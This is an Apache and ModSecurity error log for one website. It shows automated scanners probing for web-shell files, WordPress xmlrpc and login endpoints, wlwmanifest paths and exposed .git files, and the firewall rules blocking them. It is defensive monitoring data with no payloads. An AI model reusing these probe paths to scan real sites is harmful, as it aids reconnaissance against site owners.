[Thu Apr 16 02:04:08.409973 2026] [:error] [pid 792:tid 896] [client 20.203.253.182:19547] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad_TGN3PZ8z30TezIkZiLwAAANI"]
[Thu Apr 16 02:04:09.272928 2026] [:error] [pid 912:tid 973] [client 20.203.253.182:3476] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad_TGcU0_VzYCBipADkz5wAAAQU"]
[Thu Apr 16 02:04:10.062800 2026] [:error] [pid 34542:tid 34565] [client 20.203.253.182:32280] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad_TGgdF4OGi-asleB6PsAAAAVU"]
[Thu Apr 16 02:04:10.904720 2026] [:error] [pid 791:tid 863] [client 20.203.253.182:3881] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "ad_TGrxl5Y18om2fepncnQAAAFU"]
[Thu Apr 16 02:04:11.840407 2026] [:error] [pid 20548:tid 20571] [client 20.203.253.182:7232] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "ad_TG6kpqgnqCHq6bJa6FAAAAJQ"]
[Thu Apr 16 02:04:12.586118 2026] [:error] [pid 912:tid 986] [client 20.203.253.182:3882] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "ad_THMU0_VzYCBipADkz7AAAARI"]
[Thu Apr 16 02:04:13.469152 2026] [:error] [pid 54814:tid 54835] [client 20.203.253.182:3870] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "ad_THTrHu_-tAAe-BOWwFQAAAY8"]
[Thu Apr 16 02:43:09.406137 2026] [:error] [pid 791:tid 842] [client 91.200.101.138:61962] [client 91.200.101.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/graphql"] [unique_id "ad_cPbxl5Y18om2fepnhTAAAAEI"]
[Thu Apr 16 03:14:45.957859 2026] [:error] [pid 34542:tid 34564] [client 43.241.65.188:58069] [client 43.241.65.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.241.65.188, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad_jpQdF4OGi-asleB6noAAAAVQ"]
[Thu Apr 16 03:14:45.971295 2026] [proxy_fcgi:error] [pid 34542:tid 34564] [client 43.241.65.188:58069] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:48.730023 2026] [proxy_fcgi:error] [pid 57538:tid 57613] [client 40.115.139.4:2471] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:48.847673 2026] [proxy_fcgi:error] [pid 57538:tid 57617] [client 40.115.139.4:2471] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:48.964323 2026] [proxy_fcgi:error] [pid 57538:tid 57607] [client 40.115.139.4:2471] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:49.088050 2026] [proxy_fcgi:error] [pid 57538:tid 57603] [client 40.115.139.4:2471] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:49.204317 2026] [proxy_fcgi:error] [pid 57538:tid 57616] [client 40.115.139.4:2471] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:49.323689 2026] [proxy_fcgi:error] [pid 57538:tid 57610] [client 40.115.139.4:2471] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:49.566524 2026] [proxy_fcgi:error] [pid 57538:tid 57609] [client 40.115.139.4:2471] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:49.683482 2026] [proxy_fcgi:error] [pid 57538:tid 57618] [client 40.115.139.4:2471] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:49.818547 2026] [proxy_fcgi:error] [pid 57538:tid 57613] [client 40.115.139.4:2471] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:49.935129 2026] [proxy_fcgi:error] [pid 57538:tid 57608] [client 40.115.139.4:2471] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:03:50.048567 2026] [:error] [pid 57538:tid 57604] [client 40.115.139.4:2471] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "ad_9NsuMaiEF5SVR2BcUbQAAAII"]
[Thu Apr 16 05:03:50.583116 2026] [:error] [pid 57537:tid 57577] [client 40.115.139.4:5061] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "ad_9NlVQRS8nm73ENAke3gAAAEI"]
[Thu Apr 16 05:03:51.050097 2026] [:error] [pid 57639:tid 57667] [client 40.115.139.4:2528] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "ad_9N6MCQoTw7TsxWumuKAAAANU"]
[Thu Apr 16 05:03:51.540956 2026] [:error] [pid 29603:tid 29609] [client 40.115.139.4:5119] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "ad_9N1fGOR6fpTWUAzqTogAAAQQ"]
[Thu Apr 16 05:35:59.972832 2026] [:error] [pid 57538:tid 57622] [client 143.244.57.90:48728] [client 143.244.57.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.57.90, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeAEv8uMaiEF5SVR2BcmpQAAAJQ"]
[Thu Apr 16 05:35:59.982681 2026] [proxy_fcgi:error] [pid 57538:tid 57622] [client 143.244.57.90:48728] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 05:36:03.478652 2026] [:error] [pid 57538:tid 57612] [client 143.244.57.90:48728] [client 143.244.57.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aeAEw8uMaiEF5SVR2BcmtAAAAIo"]
[Thu Apr 16 05:36:04.032492 2026] [:error] [pid 49094:tid 49097] [client 143.244.57.90:48742] [client 143.244.57.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aeAExDbDwvcXorHR_MxwxQAAAUE"]
[Thu Apr 16 05:36:04.637628 2026] [:error] [pid 57537:tid 57593] [client 143.244.57.90:48750] [client 143.244.57.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aeAExFVQRS8nm73ENAkpHAAAAFI"]
[Thu Apr 16 05:36:05.254388 2026] [:error] [pid 57537:tid 57599] [client 143.244.57.90:48760] [client 143.244.57.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aeAExVVQRS8nm73ENAkpHgAAAFg"]
[Thu Apr 16 05:36:05.838948 2026] [:error] [pid 49094:tid 49098] [client 143.244.57.90:48776] [client 143.244.57.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aeAExTbDwvcXorHR_MxwywAAAUI"]
[Thu Apr 16 05:36:06.435698 2026] [:error] [pid 57537:tid 57592] [client 143.244.57.90:48782] [client 143.244.57.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aeAExlVQRS8nm73ENAkpJwAAAFE"]
[Thu Apr 16 05:36:07.048319 2026] [:error] [pid 29603:tid 29610] [client 143.244.57.90:52596] [client 143.244.57.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aeAEx1fGOR6fpTWUAzqv2QAAAQU"]
[Thu Apr 16 09:57:21.712760 2026] [:error] [pid 57639:tid 57661] [client 92.242.249.27:33379] [client 92.242.249.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.242.249.27, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeBCAaMCQoTw7TsxWukuZgAAAM8"]
[Thu Apr 16 09:57:21.724949 2026] [proxy_fcgi:error] [pid 57639:tid 57661] [client 92.242.249.27:33379] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 11:07:56.882353 2026] [:error] [pid 7880:tid 7906] [client 98.93.160.221:49434] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aeBSjKaezm4fSGc0yUL3ygAAAZU"]
[Thu Apr 16 11:26:25.053137 2026] [proxy_fcgi:error] [pid 57537:tid 57583] [client 20.223.204.92:10799] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 13:30:01.683312 2026] [proxy_fcgi:error] [pid 57538:tid 57618] [client 40.115.139.4:3982] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 13:30:01.823098 2026] [proxy_fcgi:error] [pid 57538:tid 57621] [client 40.115.139.4:3982] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 13:30:01.965322 2026] [proxy_fcgi:error] [pid 57538:tid 57606] [client 40.115.139.4:3982] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 13:30:02.282190 2026] [proxy_fcgi:error] [pid 57538:tid 57622] [client 40.115.139.4:3982] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 13:30:02.422422 2026] [proxy_fcgi:error] [pid 57538:tid 57610] [client 40.115.139.4:3982] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 13:30:02.563326 2026] [proxy_fcgi:error] [pid 57538:tid 57605] [client 40.115.139.4:3982] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 13:30:02.702882 2026] [proxy_fcgi:error] [pid 57538:tid 57607] [client 40.115.139.4:3982] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 13:30:02.876797 2026] [proxy_fcgi:error] [pid 57538:tid 57602] [client 40.115.139.4:3982] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 13:30:03.015923 2026] [proxy_fcgi:error] [pid 57538:tid 57619] [client 40.115.139.4:3982] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 13:30:03.291050 2026] [:error] [pid 57538:tid 57624] [client 40.115.139.4:3982] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeBz28uMaiEF5SVR2BeO_gAAAJY"]
[Thu Apr 16 13:30:04.015524 2026] [:error] [pid 57536:tid 57559] [client 40.115.139.4:3977] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeBz3CQU4faGja6jpDvaigAAAAs"]
[Thu Apr 16 13:30:04.482479 2026] [:error] [pid 57536:tid 57561] [client 40.115.139.4:3997] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeBz3CQU4faGja6jpDvaiwAAAA0"]
[Thu Apr 16 13:30:04.983685 2026] [:error] [pid 49094:tid 49118] [client 40.115.139.4:3999] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeBz3DbDwvcXorHR_MwrAgAAAVY"]
[Thu Apr 16 13:48:45.787783 2026] [:error] [pid 49094:tid 49099] [client 98.93.160.221:37024] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aeB4PTbDwvcXorHR_MwthQAAAUM"]
[Thu Apr 16 16:21:58.373045 2026] [:error] [pid 49094:tid 49107] [client 168.144.39.136:63148] [client 168.144.39.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.144.39.136, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeCcJjbDwvcXorHR_MxIWAAAAUs"]
[Thu Apr 16 16:21:58.382576 2026] [proxy_fcgi:error] [pid 49094:tid 49107] [client 168.144.39.136:63148] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 16:21:59.753042 2026] [:error] [pid 49094:tid 49110] [client 168.144.39.136:63148] [client 168.144.39.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aeCcJzbDwvcXorHR_MxIYwAAAU4"]
[Thu Apr 16 16:21:59.931940 2026] [:error] [pid 57639:tid 57647] [client 168.144.39.136:65211] [client 168.144.39.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aeCcJ6MCQoTw7TsxWunW4QAAAME"]
[Thu Apr 16 16:22:00.107640 2026] [:error] [pid 57639:tid 57663] [client 168.144.39.136:65402] [client 168.144.39.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aeCcKKMCQoTw7TsxWunW4wAAANE"]
[Thu Apr 16 16:22:00.319038 2026] [:error] [pid 29603:tid 29626] [client 168.144.39.136:49229] [client 168.144.39.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aeCcKFfGOR6fpTWUAzpRewAAARU"]
[Thu Apr 16 16:22:00.494657 2026] [:error] [pid 57538:tid 57614] [client 168.144.39.136:49479] [client 168.144.39.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aeCcKMuMaiEF5SVR2BejywAAAIw"]
[Thu Apr 16 16:22:00.703889 2026] [:error] [pid 7880:tid 7887] [client 168.144.39.136:49659] [client 168.144.39.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aeCcKKaezm4fSGc0yUJQTAAAAYI"]
[Thu Apr 16 17:30:41.356137 2026] [:error] [pid 49094:tid 49105] [client 143.198.175.143:62753] [client 143.198.175.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.175.143, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aeCsQTbDwvcXorHR_MxjhAAAAUk"]
[Thu Apr 16 17:30:41.366110 2026] [proxy_fcgi:error] [pid 49094:tid 49105] [client 143.198.175.143:62753] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 21:11:07.672566 2026] [:error] [pid 7880:tid 7894] [client 35.190.187.117:55308] [client 35.190.187.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.190.187.117, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeDf66aezm4fSGc0yUKmSgAAAYk"]
[Thu Apr 16 21:11:07.683139 2026] [proxy_fcgi:error] [pid 7880:tid 7894] [client 35.190.187.117:55308] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 21:11:10.386618 2026] [:error] [pid 7880:tid 7888] [client 35.190.187.117:55308] [client 35.190.187.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aeDf7qaezm4fSGc0yUKmZgAAAYM"]
[Thu Apr 16 21:11:10.886325 2026] [:error] [pid 57536:tid 57565] [client 35.190.187.117:57148] [client 35.190.187.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aeDf7iQU4faGja6jpDt5JgAAABE"]
[Thu Apr 16 21:11:11.383424 2026] [:error] [pid 49094:tid 49098] [client 35.190.187.117:58151] [client 35.190.187.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aeDf7zbDwvcXorHR_MzWvQAAAUI"]
[Thu Apr 16 21:11:11.853527 2026] [:error] [pid 49094:tid 49118] [client 35.190.187.117:60790] [client 35.190.187.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aeDf7zbDwvcXorHR_MzWwgAAAVY"]
[Thu Apr 16 21:11:12.327953 2026] [:error] [pid 49094:tid 49114] [client 35.190.187.117:56049] [client 35.190.187.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aeDf8DbDwvcXorHR_MzWyQAAAVI"]
[Thu Apr 16 21:11:12.842603 2026] [:error] [pid 49094:tid 49102] [client 35.190.187.117:65363] [client 35.190.187.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aeDf8DbDwvcXorHR_MzW0wAAAUY"]
[Thu Apr 16 21:11:13.349092 2026] [:error] [pid 49094:tid 49113] [client 35.190.187.117:59060] [client 35.190.187.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aeDf8TbDwvcXorHR_MzW4AAAAVE"]
[Thu Apr 16 21:19:12.132148 2026] [:error] [pid 57639:tid 57660] [client 167.99.144.145:55951] [client 167.99.144.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.99.144.145, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aeDh0KMCQoTw7TsxWumrLgAAAM4"]
[Thu Apr 16 21:19:12.141935 2026] [proxy_fcgi:error] [pid 57639:tid 57660] [client 167.99.144.145:55951] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 21:51:59.789808 2026] [:error] [pid 57536:tid 57550] [client 45.130.203.170:30261] [client 45.130.203.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aeDpfyQU4faGja6jpDuOHgAAAAI"]
[Thu Apr 16 21:52:01.336119 2026] [:error] [pid 57537:tid 57596] [client 45.130.203.169:33429] [client 45.130.203.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aeDpgVVQRS8nm73ENAm-4QAAAFU"]
[Thu Apr 16 22:01:40.087212 2026] [proxy_fcgi:error] [pid 7880:tid 7896] [client 158.158.35.197:2572] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:01:40.375099 2026] [proxy_fcgi:error] [pid 7880:tid 7904] [client 158.158.35.197:2572] AH01071: Got error 'Primary script unknown'
